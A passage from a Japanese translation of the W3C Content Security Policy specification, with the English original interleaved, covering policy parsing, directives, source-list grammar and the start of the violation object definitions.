This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on the #rule ABNF extension defined in Section 5.6.1 of [RFC9110], with the modification that OWS is replaced with optional-ascii-whitespace. That is, the #rule used in this document is defined as:
</p>

<pre class="bnf">
1#%element
	=&gt; %element *( `optional-ascii-whitespace$p "," `optional-ascii-whitespace$p %element )
</pre>

<p>
各［
整数 %n ~GTE 1,
整数 %m ~GTE 1
］に対し：
◎
and for n &gt;= 1 and m &gt; 1:
</p>

<pre class="bnf">
&lt;%n&gt;#&lt;%m&gt;%element
	=&gt; %element &lt;%n-1&gt;*&lt;%m-1&gt;( `optional-ascii-whitespace$p "," `optional-ascii-whitespace$p %element )
</pre>

<p>
この文書の~algoと注釈文に利用する いくつかの基礎的な概念は、
`INFRA$r に依存する。
◎
This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].
</p>

<p>
次の定義は、
この文書~内の他の定義の可読性を向上するために利用される：
◎
The following definitions are used to improve readability of other definitions in this document.
</p>

<pre class="bnf">
`optional-ascii-whitespace@p
	= *( `09^hex / `0A^hex / `0C^hex / `0D^hex / `20^hex )
`required-ascii-whitespace@p
	= 1*( `09^hex / `0A^hex / `0C^hex / `0D^hex / `20^hex )
</pre>

<p>
これらの生成規則は、
`INFRA$r による`~ASCII空白$の定義に合致する。
◎
; These productions match the definition of ASCII whitespace from the INFRA standard.
</p>

		</section>
		<section id="framework-policy">
<h3 title="Policies">2.2. 施策</h3>

<p>
`施策@
は、［
許容される／制約される
］挙動たちを定義する。
それを適用し得るのは［
`Document$I ／ `WorkerGlobalScope$I ／ `WorkletGlobalScope$I
］である。
◎
A policy defines allowed and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope.
</p>

<p>
各 `施策$には、
次に挙げるものが結付けられる：
◎
↓</p>
<dl class="def-list">
	<dt>
`指令~集合@
（ `directive set^en ）
◎
Each policy has an associated directive set,＼
</dt>
	<dd>
`指令$たちが成す`有順序~集合$
◎
which is an ordered set of directives＼
</dd>
	<dd>
これらは、
この施策が適用されたときの含意を定義する。
◎
that define the policy’s implications when applied.
</dd>
	<dd class="trans-note">【
この集合を成す各`指令$の`名前$は、
この集合~内で一意になる
（そうなるよう，構文解析-時に施行される）。
】</dd>

	<dt>
`処置先@
（ `disposition^en ）
◎
Each policy has an associated disposition,＼
</dt>
	<dd>
`enforce^l ／ `report^l
◎
which is either "enforce" or "report".
</dd>
	<dd class="trans-note">【
順に，［
施策を施行する／施策~違反を報告する
］ことに対応する。
】</dd>

	<dt>
`~source@
（ `source^en ）
◎
Each policy has an associated source,＼
</dt>
	<dd>
`header^l ／ `meta^l
◎
which is either "header" or "meta".
</dd>
	<dd class="trans-note">【
順に，当の施策は［
~HTTP~header／ `meta^e 要素
］により与えられたことを表す。
】</dd>

	<dt>
`自己-生成元@
（ `self-origin^en ）
◎
Each policy has an associated self-origin,＼
</dt>
	<dd>
ある`生成元$
◎
which is an origin＼
</dd>
	<dd>
`self$pl ~keywordと照合するときに利用される。
◎
that is used when matching the 'self' keyword.
</dd>
	<dd class="note">注記：
これは、［［
文書／~worker
］が`局所的$urlな~URL【！`局所~scheme$】にあって，
施策を継承したが`不透明な生成元$を伴うとき
］に `self$pl 検査を手助けするために必要になる。
ほとんどの場合、
これは単純に`環境~設定群~obj$の`生成元$enVになる。
◎
Note: This is needed to facilitate the 'self' checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings object’s origin.
</dd>
</dl>

<p>
単独の資源に対し適用し得る`施策$は、
複数個あり得る
— それらは、
ある`~CSP~list$の中へ収集される。
◎
Multiple policies can be applied to a single resource, and are collected into＼
</p>

<p>
`~CSP~list@
は、
`施策$たちが成す`~list$である。
◎
a list of policies known as a CSP list.
</p>

<p>
所与の`~CSP~list$が
`~headerにより送達された~CSPを包含して@
いるとは、
次を満たす`施策$を`包含して$いることをいう
⇒
その`~source$ ~EQ `header^l
◎
A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".
</p>

<p>
`直列形の~CSP@
（ `serialized CSP^en ）は、
次の`~ABNF$文法を固守している`~ASCII文字列$であり，
`~semicolon$で区切られた一連の`直列形の指令$からなる：
◎
A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:
</p>

<pre class="bnf">
`serialized-policy@p
	= `serialized-directive$p *( `optional-ascii-whitespace$p ";" [ `optional-ascii-whitespace$p `serialized-directive$p ] )
</pre>

<p>
`直列形の~CSP~list@
は、
次の`~ABNF$文法を固守している`~ASCII文字列$であり，
`~comma$で区切られた一連の`直列形の~CSP$からなる：
◎
A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:
</p>

<pre class="bnf">
`serialized-policy-list@p
	= 1#`serialized-policy$p
</pre>

<p>
この~ABNFにおける '`#^P' は、
この仕様が定義する`#規則$に従うとする。
◎
; The '#' rule is the one defined in section 5.6.1 of RFC 9110
; but it incorporates the modifications specified
; in section 2.1 of this document.
</p>

			<section id="parse-serialized-policy">
<h4 title="Parse a serialized CSP">2.2.1. 直列形の~CSPを構文解析する</h4>

<p>
`直列形の~CSPを構文解析する@A
~algoは、
所与の
( ［
`~byte列$／`文字列$
］ %直列形, `~source$ %~source, `処置先$ %処置先 )
に対し：
◎
To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.
</p>

<p>
この~algoは、
ある`施策$を返す
— %直列形 を構文解析できなかった場合、
返される`施策$の`指令~集合$は空になる。
◎
This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.
</p>
<ol>
	<li>
~IF［
%直列形 は`~byte列$である
］
⇒
%直列形 ~SET `同型に復号する$( %直列形 )
◎
If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.
</li>
	<li>
%指令~集合 ~LET 新たな`有順序~集合$
◎
Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.
</li>
	<li>
<p>
`区切子で厳密に分割する$( %直列形, `~semicolon$ )
— その結果を成す
~EACH( %~token )
に対し：
◎
For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):
</p>
		<ol>
			<li>
~IF［
%~token は`~ASCII文字列$でない
］
⇒
~CONTINUE
◎
↓</li>
			<li>
%~list ~LET `~ASCII空白で分割する$( %~token )
◎
↓</li>
			<li>
~IF［
%~list は空である
］
⇒
~CONTINUE
◎
Strip leading and trailing ASCII whitespace from token.
◎
If token is an empty string, or if token is not an ASCII string, continue.
</li>
			<li>
%指令~名 ~LET %~list[ 0 ]
◎
Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.
</li>
			<li>
<p>
%指令~名 ~SET `~ASCII小文字~化する$( %指令~名 )
◎
Set directive name to be the result of running ASCII lowercase on directive name.
</p>

<p class="note">注記：
%指令~名 は大小無視である。
例えば［
`script-SRC 'none'^s, `ScRiPt-sRc 'none'^s
］は、
等価になる。
◎
Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.
</p>
			</li>
			<li>
<p>
~IF［
%指令~集合 内に［
`名前$ %指令~名 を伴う`指令$
］は在る
］
⇒
~CONTINUE
◎
If policy’s directive set contains a directive whose name is directive name, continue.
</p>

<p class="note">注記：
この事例では、
~UAは，重複な指令が無視されたことを~web開発者に通知するベキである。
例えば，~consoleによる警告が適切になるであろう。
◎
Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.
</p>
			</li>
			<li>
%指令~値 ~LET %~list から先頭の~itemを除去した結果の~list
◎
Let directive value be the result of splitting token on ASCII whitespace.
</li>
			<li>
%指令~集合 に新たな`指令$( %指令~名, %指令~値 ) を`付加する$set
◎
Let directive be a new directive whose name is directive name, and value is directive value.
◎
Append directive to policy’s directive set.
</li>
		</ol>

<p class="trans-note">【
この訳では、
より簡明になるよう，この反復~内の一部を等価な形に改めている。
】</p>
	</li>
	<li>
~RET 新たな`施策$
— その
⇒＃
`指令~集合$ ~SET %指令~集合,
`~source$ ~SET %~source,
`処置先$ ~SET %処置先
◎
Return policy.
</li>
</ol>

			</section>
			<section id="parse-response-csp">
<h4 title="Parse response’s Content Security Policies">2.2.2. %応答 の~CSPを構文解析する</h4>

<p>
`応答の~CSPを構文解析する@A
~algoは、
所与の
( `応答$ %応答 )
に対し：
◎
To parse a response’s Content Security Policies given a response response, execute the following steps.
</p>

<p>
この~algoは、
`施策$たちが成す`~list$を返す
— 構文解析できる施策が無かった場合、
結果は空になる。
◎
This algorithm returns a list of Content Security Policy objects. If the policies cannot be parsed, the returned list will be empty.
</p>
<ol>
	<li>
%施策~群 ~LET 新たな`~list$
◎
Let policies be an empty list.
</li>
	<li>
%~token群 ~LET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy$h )
◎
For each token returned by extracting header list values given Content-Security-Policy and response’s header list:
</li>
	<li>
<p>
%~token群 を成す
~EACH( %~token )
に対し：
◎
↑</p>
		<ol>
			<li>
%施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `enforce^l )
◎
Let policy be the result of parsing token, with a source of "header", and a disposition of "enforce".
</li>
			<li>
~IF［
%施策 の`指令~集合$は空でない
］
⇒
%施策~群 に %施策 を`付加する$
◎
If policy’s directive set is not empty, append policy to policies.
</li>
		</ol>
	</li>
	<li>
%~token群 ~SET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy-Report-Only$h )
◎
For each token returned by extracting header list values given Content-Security-Policy-Report-Only and response’s header list:
</li>
	<li>
<p>
%~token群 を成す
~EACH( %~token )
に対し：
◎
↑</p>
		<ol>
			<li>
%施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `report^l )
◎
Let policy be the result of parsing token, with a source of "header", and a disposition of "report".
</li>
			<li>
~IF［
%施策 の`指令~集合$は空でない
］
⇒
%施策~群 に %施策 を`付加する$
◎
If policy’s directive set is not empty, append policy to policies.
</li>
		</ol>
	</li>
	<li>
%施策~群 を成す
~EACH( %施策 )
に対し
⇒
%施策 の`自己-生成元$ ~SET %応答 の`~URL$rsの`生成元$url
◎
For each policy of policies:
• Set policy’s self-origin to response’s url’s origin.
</li>
	<li>
~RET %施策~群
◎
Return policies.
</li>
</ol>

<p class="note">注記：
~UAは、
この~algoの結果が空になったか否かを指示する~flagを保持することにより，［
`~headerにより送達された~CSPを包含して$いるか否か~~検査する~~作業を~~省く
］よう最適化できる。
◎
Note: When parsing a response’s Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the contains a header-delivered Content Security Policy algorithm.
</p>

			</section>
		</section>
		<section id="framework-directives">
<h3 title="Directives">2.3. 指令</h3>

<p>
各`施策$は、
`指令$たちが成す`有順序~集合$（`指令~集合$）を包含する
— 各`指令$は、
特定の挙動を制御する。
この文書にて定義される各種~指令の詳細は、
`§ ~CSP指令＠#csp-directives$
にて述べられる。
◎
Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in § 6 Content Security Policy Directives.
</p>

<div class="p">
<p>
各
`指令@
（ `directive^en ）は、
次の 2 つからなる~pairである：
</p>
<ul>
	<li>
`名前@
（ `name^en ）
⇒
空でない`文字列$
</li>
	<li>
`値@
（ `value^en ）
⇒
［
空でない`文字列$
］たちが成す`有順序~集合$
</li>
</ul>
◎
Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.
</div>

<p>
所与の
( `名前$ %名前, `値$ %値 )
からなる`指令$は，
`指令$( %名前, %値 )
とも記される。
</p>

<p>
`直列形の指令@
（ `serialized-directive$p ）は、
次の`~ABNF$文法を固守している`~ASCII文字列$であり，
空白で区切られた 1 個以上の~tokenからなる：
◎
A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:
</p>

<pre class="bnf">
`serialized-directive@p
	= `directive-name$p [ `required-ascii-whitespace$p `directive-value$p ]
`directive-name@p
	= 1*( `ALPHA$P / `DIGIT$P / "-" )
`directive-value@p
	= *( `required-ascii-whitespace$p / ( `21^hex-`2B^hex / `2D^hex-`3A^hex / `3C^hex-`7E^hex ) )
</pre>

<p>
指令~値（ `directive-value$p ）は、［
空白／上の定義の後半部が表現する［
`~semicolon$, `~comma$
］以外のすべての `VCHAR$P 文字（ `21^hex 〜 `7E^hex ）
］を包含してもヨイ。
◎
; Directive values may contain whitespace and VCHAR characters,
; excluding ";" and ",". The second half of the definition
; above represents all VCHAR characters (%x21-%x7E)
; without ";" and "," (%x3B and %x2C respectively)
◎
; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.
</p>

<p>
各 `指令$には、
次に挙げる~algoが結付けられる：
◎
Directives have a number of associated algorithms:
</p>

<p class="trans-note">【
各~algoには、
挙げられた引数の他にも，当の指令が暗黙的に渡される。
】</p>

<dl class="def-list">
	<dt>
`要請前~検査@A
（ `pre-request check^en ）
◎
A pre-request check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`要請$,
`施策$
◎
which takes a request and a policy as an argument,＼
</dd>
	<dd>
次を行う間に実行される
⇒
`要請は~CSPにより阻止されるべきか？$A
◎
and is executed during § 4.1.2 Should request be blocked by Content Security Policy?.＼
</dd>
	<dd>
<p>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
This algorithm returns "Allowed" unless otherwise specified.
</p>

<p class="trans-note">【
すなわち、［
当の指令の`名前$用に，この~algoが定義されていない場合
］には，［
`許容される^i を返す以外は何もしない~algo
］が指定されたものと見なされる。
以下も同様。
】</p>
	</dd>

	<dt>
`要請後~検査@A
（ `post-request check^en ）
◎
A post-request check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`要請$,
`応答$,
`施策$
◎
which takes a request, a response, and a policy as arguments,＼
</dd>
	<dd>
次を行う間に実行される
⇒
`要請に対する応答は~CSPにより阻止されるべきか？$A
◎
and is executed during § 4.1.3 Should response to request be blocked by Content Security Policy?.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
This algorithm returns "Allowed" unless otherwise specified.
</dd>

	<dt>
`~inline検査@A
（ `inline check^en ）
◎
An inline check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`要素$,
型~文字列,
`施策$,
~source文字列
◎
which takes an Element, a type string, a policy, and a source string as arguments,＼
</dd>
	<dd>
次を行う間に実行される
⇒＃
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A
◎
and is executed during § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?＼
</dd>
	<dd>
`javascript_^sc 要請~用には，次を行う間に実行される
⇒
`ある種別の~navi要請は~CSPにより阻止されるべきか？$A
◎
and during § 4.2.4 Should navigation request of type be blocked by Content Security Policy? for javascript: requests.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
This algorithm returns "Allowed" unless otherwise specified.
</dd>

	<dt>
`初期化@A
（ `initialization^en ）
◎
An initialization,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`文書$または`大域~obj$,
`施策$
◎
which takes a Document or global object and a policy as arguments.＼
</dd>
	<dd>
次を行う間に実行される
⇒＃
`文書~用に~CSP初期化を走らす$A／
`大域~obj用に~CSP初期化を走らす$A
◎
This algorithm is executed during § 4.2.1 Run CSP initialization for a Document and § 4.2.6 Run CSP initialization for a global object.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
Unless otherwise specified, it has no effect and it returns "Allowed".
</dd>

	<dt>
`~navi前~検査@A
（ `pre-navigation check^en ）
◎
A pre-navigation check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`要請$,
~navi種別~文字列 ~IN { `form-submission^l, `other^l },
`施策$
◎
which takes a request, a navigation type string ("form-submission" or "other"), and a policy as arguments,＼
</dd>
	<dd>
次を行う間に実行される
⇒
`ある種別の~navi要請は~CSPにより阻止されるべきか？$A
◎
and is executed during § 4.2.4 Should navigation request of type be blocked by Content Security Policy?.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
It returns "Allowed" unless otherwise specified.
</dd>

	<dt>
`~navi応答~検査@A
（ `navigation response check^en ）
◎
A navigation response check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`要請$,
~navi種別~文字列 ~IN { `form-submission^l, `other^l },
`応答$,
`~navigable$,
検査~種別~文字列 ~IN { `source^l, `response^l },
`施策$
◎
which takes a request, a navigation type string ("form-submission" or "other"), a response, a navigable, a check type string ("source" or "response"), and a policy as arguments,＼
</dd>
	<dd>
次を行う間に実行される
⇒
`~targetにおける ある種別の~navi要請に対する応答は~CSPにより阻止されるべきか？$A
◎
and is executed during § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
It returns "Allowed" unless otherwise specified.
</dd>

	<dt>
`~WebRTC接続前~検査@A
（ `webrtc pre-connect check^en ）
◎
A webrtc pre-connect check,＼
</dt>
	<dd>
次を引数にとる
⇒＃
`施策$
◎
which takes a policy,＼
</dd>
	<dd>
次を行う間に実行される
⇒
`~WebRTC接続は大域~objに対し阻止されるべきか？$A
◎
and is executed during § 4.3.1 Should RTC connections be blocked for global?.＼
</dd>
	<dd>
他が指定されない限り，この~algoは `許容される^i を返す。
◎
It returns "Allowed" unless otherwise specified.
</dd>
</dl>

			<section id="framework-directive-source-list">
<h4 title="Source Lists">2.3.1. ~source~list</h4>

<p>
各種 `指令$のうち，多くのものは、
`~source~list@
（ `serialized-source-list$p ）をその`値$にとる。
各`~source~list$は、
`文字列$たちが成す集合である
— この~listを成す各`文字列$は、［
~fetchし得る内容であって［
埋込まれ得る／実行され得る
］ものを識別するもの
］であり，次に挙げるいずれかの型の
`~source式@
（ `source-expression$p ）を表現する：
◎
Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:
</p>

<ul>
	<li>
~keyword `none$pl （何にも合致しない）
◎
↓</li>
	<li>
他の~keyword（ `keyword-source$p ）
— 例
⇒
`self$pl （現在の~URLの生成元に合致する）
◎
Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)
</li>
	<li>
直列形の~URL（ `scheme-part$p を伴う `host-source$p ）
— 例
⇒＃
`https://example.com/path/to/file.js^s （特定の資源に合致する）／
`https://example.com/^s （その生成元に属する どの資源にも合致する）
◎
Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)
</li>
	<li>
~scheme（ `scheme-source$p ）
⇒
指定された~schemeを有する どの資源にも合致する
— 例
⇒
`https:^s
◎
Schemes such as https: (which matches any resource having the specified scheme)
</li>
	<li>
~host（ `scheme-part$p を伴わない `host-source$p ）
— 例
⇒＃
`example.com^s （~schemeに関わらず，~host上の どの資源にも合致する）／
`*.example.com^s （~hostの下位domain（下位domainの下位domain, 等々も含む）上の どの資源にも合致する）
◎
Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))
</li>
	<li>
~nonce（ `nonce-source$p ）
⇒
~page上の特定の要素に合致し得る
— 例
⇒
`nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA^pl
◎
Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)
</li>
	<li>
~digest（ `hash-source$p ）
⇒
~page上の特定の要素に合致し得る
— 例
⇒
`sha256-abcd...^pl
◎
Digests such as 'sha256-abcd...' (which can match specific elements on a page)
</li>
</ul>

<p>
`直列形の~source~list@
（ `serialized-source-list$p ）
は、
次の`~ABNF$文法を固守している`~ASCII文字列$であり，
空白で区切られた一連の`~source式$からなる：
◎
A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:
</p>

<pre class="bnf">
`serialized-source-list@p
	= ( `source-expression$p *( `required-ascii-whitespace$p `source-expression$p ) )
	/ "`none@pl"

`source-expression@p
	= `scheme-source$p
	/ `host-source$p
	/ `keyword-source$p
	/ `nonce-source$p
	/ `hash-source$p

; <span class="comment">~scheme ~source式：</span>
;	  `https:^l
;	/ `custom-scheme:^l
;	/ `another.custom-scheme:^l
`scheme-source@p
	= `scheme-part$p ":"

; <span class="comment">~host ~source式：</span>
;	  `example.com^l
;	/ `*.example.com^l
;	/ `https://*.example.com:12/path/to/file.js^l
`host-source@p
	= [ `scheme-part$p "://" ] `host-part$p [ ":" `port-part$p ] [ `path-part$p ]
`scheme-part@p
	= `scheme$p
	; scheme is defined in section 3.1 of RFC 3986.
`host-part@p
	= "*"
	/ [ "*." ] 1*`host-char$p *( "." 1*`host-char$p ) [ "." ]
`host-char@p
	= `ALPHA$P
	/ `DIGIT$P
	/ "-"
`port-part@p
	= 1*`DIGIT$P / "*"
`path-part@p
	= `path-absolute$p <span class="comment">
（ただし、
`~semicolon$, `~comma$は含まない）
◎
(but not including ";" or ",")
</span>
	; path-absolute is defined in section 3.3 of RFC 3986.

; <span class="comment">~keyword ~source式：</span>
`keyword-source@p
	= "`self@pl"
	/ "`unsafe-inline@pl"
	/ "`unsafe-eval@pl"
	/ "`strict-dynamic@pl"
	/ "`unsafe-hashes@pl"
	/ "`report-sample@pl"
	/ "`unsafe-allow-redirects@pl"
	/ "`wasm-unsafe-eval@pl"
	/ "`trusted-types-eval@pl"
	/ "`report-sha256@pl"
	/ "`report-sha384@pl"
	/ "`report-sha512@pl"
【！ ＊ISSUE: Bikeshed unsafe-allow-redirects.】

; <span class="comment">~nonce ~source式：</span>
; `'nonce-[nonce goes here]'^s
`nonce-source@p
	= "'nonce-" `base64-value$p "'"
`base64-value@p
	= 1*( `ALPHA$P / `DIGIT$P / "+" / "/" / "-" / "_" )*2( "=" )

; <span class="comment">~digest ~source式：</span>
; `'sha256-[digest goes here]'^s
`hash-source@p
	= "'" `hash-algorithm$p "-" `base64-value$p "'"
`hash-algorithm@p
	= "sha256" / "sha384" / "sha512"
</pre>

<p class="trans-note">【
`unsafe-allow-redirects$pl は、
それを利用していた `navigato-to^dir 指令がこの仕様から除去されたため（`563$issue），
もはや無用かもしれない。
】</p>

<p>
`host-char$p 生成規則は、
意図的に~ASCII文字のみを包含するようにされている。
国際-化~domain名は，`直列形の~CSP$の一部として直に手入力できないので、
代わりに Punycode `RFC3492$r に符号化されなければナラナイ。
例えば，
~domain `üüüüüü.de^s
は、
`xn--tdaaaaaa.de^s
として表現されなければナラナイ。
◎
The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.
</p>

<p class="note">注記：
~IP~addressは，上の文法に合致するが、
~source式~内に利用されたときに実際に合致する~URLは，
`127.0.0.1^s に限られる
（詳細は、
`~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A
を見よ）。
~IP~addressが備える~securityの特質には疑義があるので、
アリな所では~hostnameを選好するべきである。
◎
Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see § 6.7.2.7 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.
</p>

<p class="note">注記：
`base64-value$p の文法は、［
`base64$p, `base64url$p
］どちらの符号化-法も許容する。
これらの符号化-法は、
`hash-source$p 値を処理するときには，等価に扱われる。
その一方で，~nonceは、
`base64-value$p 文法を利用して厳密に文字列~照合される
— 可用な文字を制限して，
~server側~運用者にとっての複階性を抑制するため（符号化-法, 等々）。
が，~UAは、
実際には，下層の値について~careすることも `nonce-source$p 値を復号することもない。
◎
Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.
</p>

			</section>
		</section>
		<section id="framework-violation">
<h3 title="Violations">2.4. 違反</h3>

<p>
`違反@
（ `violation^en ）は、
【！`大域~obj$に結付けられた`施策$~objたちが成す集合】
`大域~obj$が`有する~CSP~list$を成す ある`施策$に反した［
動作／資源
］を表現し，次に挙げるものからなる：
◎
A violation represents an action or resource which goes against the set of policy objects associated with a global object.
</p>

<dl class="def-list">
	<dt>
`大域~obj@vr
（ `global object^en ）
◎
Each violation has a global object,＼
</dt>
	<dd>
当の大域~obj
◎
which is the global object whose policy has been violated.
</dd>

	<dt>
`~URL@vr
（ `url^en ）
◎
Each violation has a url＼
</dt>
	<dd>
`大域~obj$vrの`~URL$
◎
which is its global object’s URL.
</dd>

	<dt>
`状態s~code@vr
（ `status^en ）
◎
Each violation has a status＼
</dt>
	<dd>
負でない整数
◎
which is a non-negative integer＼
</dd>
	<dd>
`大域~obj$vrを~instance化させた資源の`~HTTP状態s~code$を表現する。
◎
representing the HTTP status code of the resource for which the global object was instantiated.
</dd>

	<dt>
`資源@vr
（ `resource^en ）
◎
Each violation has a resource,＼
</dt>
	<dd>
~NULL／`~URL$／次に挙げるいずれかの文字列
⇒＃
`inline^l ／
`eval^l ／
`wasm-eval^l ／
`trusted-types-policy^l ／
`trusted-types-sink^l
◎
which is either null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" or a URL.＼
</dd>
	<dd>
施策に違反した資源【の種別】を表現する。
◎
It represents the resource which violated the policy.
</dd>
	<dd class="note">注記：
値 ~NULL が許容されるのは、
`違反$を拡充している間に限られる。
`違反$の`資源$vrは、
当の違反が報告されるとき
— その`資源$vrが`違反の資源から~blockedURIを得する$Aために利用される時点 —
までに， ~NULL 以外の許容される値で拡充されるべきである。
◎
Note: The value null for a violation’s resource is only allowed while the violation is being populated. By the time the violation is reported and its resource is used for obtaining the blocked URI, the violation’s resource should be populated with a URL or one of the allowed strings.
</dd>

	<dt>
`~referrer@vr
（ `referrer^en ）
◎
Each violation has a referrer,＼
</dt>
	<dd>
~NULL ／ `~URL$
◎
which is either null, or a URL.＼
</dd>

	<dd>
施策に違反した資源の~referrerを表現する。
◎
It represents the referrer of the resource whose policy was violated.
</dd>

	<dt>
`施策@vr
（ `policy^en ）
◎
Each violation has a policy,＼
</dt>
	<dd>
違反された`施策$。
◎
which is the policy that has been violated.
</dd>

	<dt>
`処置先@vr
（ `disposition^en ）
◎
Each violation has a disposition,＼
</dt>
	<dd>
違反された施策の`処置先$。
◎
which is the disposition of the policy that has been violated.
</dd>

	<dt>
`有効果な指令@vr
（ `effective directive^en ）
◎
Each violation has an effective directive＼
</dt>
	<dd>
空でない文字列
◎
which is a non-empty string＼
</dd>
	<dd>
施行nにより この違反を生じさせた［
`施策$vr内の`指令$
］を表現する。
◎
representing the directive whose enforcement caused the violation.
</dd>

	<dt>
`~source~file@vr
（ `source file^en ）
◎
Each violation has a source file,＼
</dt>
	<dd>
~NULL ／ `~URL$
◎
which is either null or a URL.
</dd>

	<dt>
`行番号@vr
（ `line number^en ）
◎
Each violation has a line number,＼
</dt>
	<dd>
負でない整数
◎
which is a non-negative integer.
</dd>

	<dt>
`列番号@vr
（ `column number^en ）
◎
Each violation has a column number,＼
</dt>
	<dd>
負でない整数
◎
which is a non-negative integer.
</dd>

	<dt>
`要素@vr
（ `element^en ）
◎
Each violation has a element,＼
</dt>
	<dd>
~NULL ／要素
◎
which is either null or an element.
</dd>

	<dt>
`見本@vr
（ `sample^en ）
◎
Each violation has a sample,＼
</dt>
	<dd>
文字列
— 他が指定されない限り，空~文字列とする。
◎
which is a string. It is the empty string unless otherwise specified.
</dd>
	<dd class="note">注記：
`見本$vrは、
違反を生じさせた~inlineな［
~script／~event~handler／~style
］を成す最初の 40 文字で拡充されることになる。
外部~fileによる違反に際しては、
見本は違反~報告には含められない。
◎
Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.
</dd>
</dl>

			<section id="create-violation-for-global">
<h4 title="Create a violation object for global, policy, and directive">2.4.1. ( 大域~obj, 施策, 指令~名 ) から違反~objを作成する</h4>

<p>
次の~algoは、
新たな`違反$~objを，所与の
( `大域~obj$ %大域~obj, `施策$ %施策, `文字列$ %指令~名 )
から作成して、
それを初期~dataの集合で拡充する：
◎
Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:
</p>
<ol>
	<li>
%違反 ~LET 新たな`違反$
— その
⇒＃
`大域~obj$vr ~SET %大域~obj,
`施策$vr ~SET %施策,
`有効果な指令$vr ~SET %指令~名,
`資源$vr ~SET ~NULL
◎
Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.
</li>
	<li>
<p>
~IF［
~UAは，現在~scriptを実行している
］~AND［
%大域~obj から ~scriptの~source~fileの
( ~URL, 行番号, 列番号 )
を抽出できる
］
⇒
%違反 の
( `~source~file$vr, `行番号$vr, `列番号$vr )
~SET それら
◎
If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.
</p>

<p class="issue">
この種のものは，どこかで指定されているのか？
`ECMA262$r には，有用な~~記述は見当たらない。
◎
Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].
</p>

<p class="note">注記：
~UAは、［
`~source~file$vr が，~pageにより要請された~redirect前の~URLになる
］ことを確保する必要がある。
それがアリでない場合、
~UAは，~URLを生成元のみに剥いで，意図的でない漏洩eを避ける必要がある。
◎
